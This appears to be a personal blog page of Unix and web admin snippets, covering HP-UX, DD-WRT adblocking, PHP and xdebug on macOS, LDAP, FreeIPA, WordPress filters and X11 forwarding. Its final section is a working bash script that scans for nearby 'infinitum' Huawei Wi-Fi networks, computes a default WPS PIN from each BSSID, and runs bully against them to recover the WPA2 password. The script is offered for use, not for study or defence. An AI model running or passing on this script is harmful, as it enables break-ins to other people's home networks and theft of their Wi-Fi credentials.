awk ‘NR==FNR{a[$0]=1;next}!a[$0]’ file_b file_a
Author: rdircio
unlock user in hpux
modprpw -k -l rdircio
modprpw -v -l rdircio
Adblocking for DDWRT
Save Startup Script
Code:
_rogue=0.0.0.0
echo -e “n=1\nwhile ! wget -q -O /tmp/hsts http://winhelp2002.mvps.org/hosts.txt ; do\n\t[ \$n -gt 5 ] && break\n\tlet n+=1\n\tsleep 60\ndone\ngrep \”^0.0.0.0\” /tmp/hsts | grep \”^0.0.0.0\” | grep -v localhost | awk ‘{print \”$_rogue\\\t\”\$2}’ | tr -d ‘\\\015’ >/tmp/dlhosts\nrm /tmp/hsts\nkillall -HUP dnsmasq” >/tmp/wh
sh /tmp/wh &
Put Additional DNS Masquerade option:
addn-hosts=/tmp/dlhosts
cronjob
0 12 * * * root /tmp/.rc_startup
Install php and xdebug in macos x
For php56
$ brew install php56 –with-httpd
$ brew install php56-xdebug
If you wish to install php71 , you do not need to remove it, just install it, brew will remove php56
$ brew install php71 –with-httpd –with-pear
To enable PHP in Apache add the following to httpd.conf and restart Apache:
LoadModule php7_module /usr/local/opt/php/lib/httpd/modules/libphp7.so
SetHandler application/x-httpd-php
Finally, check DirectoryIndex includes index.php
DirectoryIndex index.php index.html
The php.ini and php-fpm.ini file can be found in:
/usr/local/etc/php/7.1/
For php 7.1 install xdebug using pecl
/usr/local/Cellar/php@7.1/7.1.16/bin/pecl search xdebug
/usr/local/Cellar/php@7.1/7.1.16/bin/pecl install xdebug
xdebug config files are in:
/usr/local/etc/php/5.6/conf.d/ext-xdebug.ini
/usr/local/etc/php/7.1/conf.d/ext-xdebug.ini
you don’t need to reinstall to switch in apache, just edit and restart
vi /usr/local/etc/httpd/httpd.conf
and enable the line of the version you need:
#LoadModule php5_module /usr/local/Cellar/php56/5.6.32_8/libexec/apache2/libphp5.so
LoadModule php5_module /usr/local/Cellar/php56/5.6.36/lib/httpd/modules/libphp5.so
/usr/local/bin/apachectl -k restart
openldap reset root password
ldap admin is configured in /etc/openldap/slapd.conf
suffix “dc=rdircio,dc=com”
rootdn “cn=orcladmin,dc=rdircio,dc=com”
rootpw password
http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch31_:_Centralized_Logins_Using_LDAP_and_RADIUS#Create_an_LDAP_.22root.22_password
setup freeipa on Centos7
follow this tutorial:
http://www.juliosblog.com/freeipa-server-on-centos-7/
and this has a good hint:
‘ipactl start’,
https://lists.fedorahosted.org/archives/list/freeipa-users@lists.fedorahosted.org/thread/VGASOOU56G2BVWLT6TNFNIBS3BPQYGRA/
this one is ok too
https://www.digitalocean.com/community/tutorials/how-to-set-up-centralized-linux-authentication-with-freeipa-on-centos-7
substitute any string in wordpress
add_filter(‘gettext’, ‘trans1’);
add_filter(‘ngettext’, ‘trans1’);
function trans1($translated) {
$translated = str_ireplace(‘carrito’, ‘cursos’, $translated);
return $translated;
}
add_filter(‘gettext’, ‘trans2’);
add_filter(‘ngettext’, ‘trans2’);
function trans2($translated) {
$translated = str_ireplace(‘el Carro de la compra’, ‘la lista de cursos’, $translated);
return $translated;
}
add_filter(‘gettext’, ‘trans3’);
add_filter(‘ngettext’, ‘trans3’);
function trans3($translated) {
$translated = str_ireplace(‘del cursos’, ‘de cursos’, $translated);
return $translated;
}
ssh forwarding from macOS quartz X11 error
when i ssh to a linux host from my mac using ssh -C -X linuxhost, and try to open an xterm i get this error message
bash-3.2$ xterm
xterm: Xt error: Can’t open display: /private/tmp/com.apple.launchd.vIXw1YlUUE/org.macosforge.xquartz:0
WORKAROUND: before ssh, export DISPLAY=:0 in the mac
xauth and xrdp, no cookie
When logged in to a Xrdp session, you might not get an xauth cookie generated for your own xrdp sessioin, which may cause you problems to use the display if you ssh to another host…
for that, check your current display, in this case it is :14.0
# echo $DISPLAY
:14.0
Use xauth list to check if there is an existing cookie for unix:14, if there is not…. create one… with a random id… in this case… i improvised one: “2ab6a473b33253105e70c53350c80b3a”
# xauth add GTWTPLJSINFV01/unix:14 MIT-MAGIC-COOKIE-1 2ab6a473b33253105e70c53350c80b3a
After this, ssh -C -X -Y otherhost will work
Get wpa2 psk from infinitum huawei modems.
#!/bin/bash
i=wlan0
scanw () {
i=$1
(
a=0;e=0;q=0
iwlist $i scan | egrep -i ‘address|essid|freq|qual|encr’ | while read l;do
if [ `echo $l |grep -ic ESSID` -gt 0 ];then
AP=`echo “$l “|awk ‘{s=substr($0,index($0,”ESSID”)+7);print substr(s,1,index(s,”\””)-1)}’`
a=1
fi
if [ `echo $l |grep -ic Encryption` -gt 0 ];then
EN=`echo “$l “|awk ‘{s=substr($0,index($0,”Encryption key”)+15);print substr(s,1,index(s,” “)-1)}’`
e=1
fi
if [ `echo $l |grep -ic Quality` -gt 0 ];then
QU=`echo “$l “|awk ‘{s=substr($0,index($0,”Quality”)+8);print substr(s,1,index(s,” “)-1)}’`
q=1
fi
if [ `echo $l |grep -ic Address` -gt 0 ];then
AD=`echo $l | awk ‘{ print $NF }’`
ad=1
fi
if [ $a -gt 0 ] && [ $e -gt 0 ] && [ $q -gt 0 ] && [ $ad -gt 0 ];then
echo “$QU;$EN;$AP;$i;$AD”
a=0;e=0;q=0
fi
done
)
}
scanw $i > /dev/null 2>&1
scanw $i >> /tmp/scan.$$
cat /tmp/scan.$$
sleep 1
grep -i infinitum /tmp/scan.$$ | while read l;do
echo “[i] Applying BULLY in $l ——————————”
P=`echo $l | awk -F\; ‘{ print $NF }’| sed ‘s/://g’| tail -c7| tr ‘[:upper:]’ ‘[:lower:]’`
M=`echo $l | awk -F\; ‘{ print $NF }’`
set -x
#reaver -i mon0 -b $M -p `printf “%07d” $((0x$P%10000000))` -vv
./bully –force -b $M -p `printf “%07d” $((0x${P}%10000000))` -A -v3 mon0
./bully -B –force -b $M -p 12345670 -A -v3 mon0
set +x
done
rm /tmp/scan.$$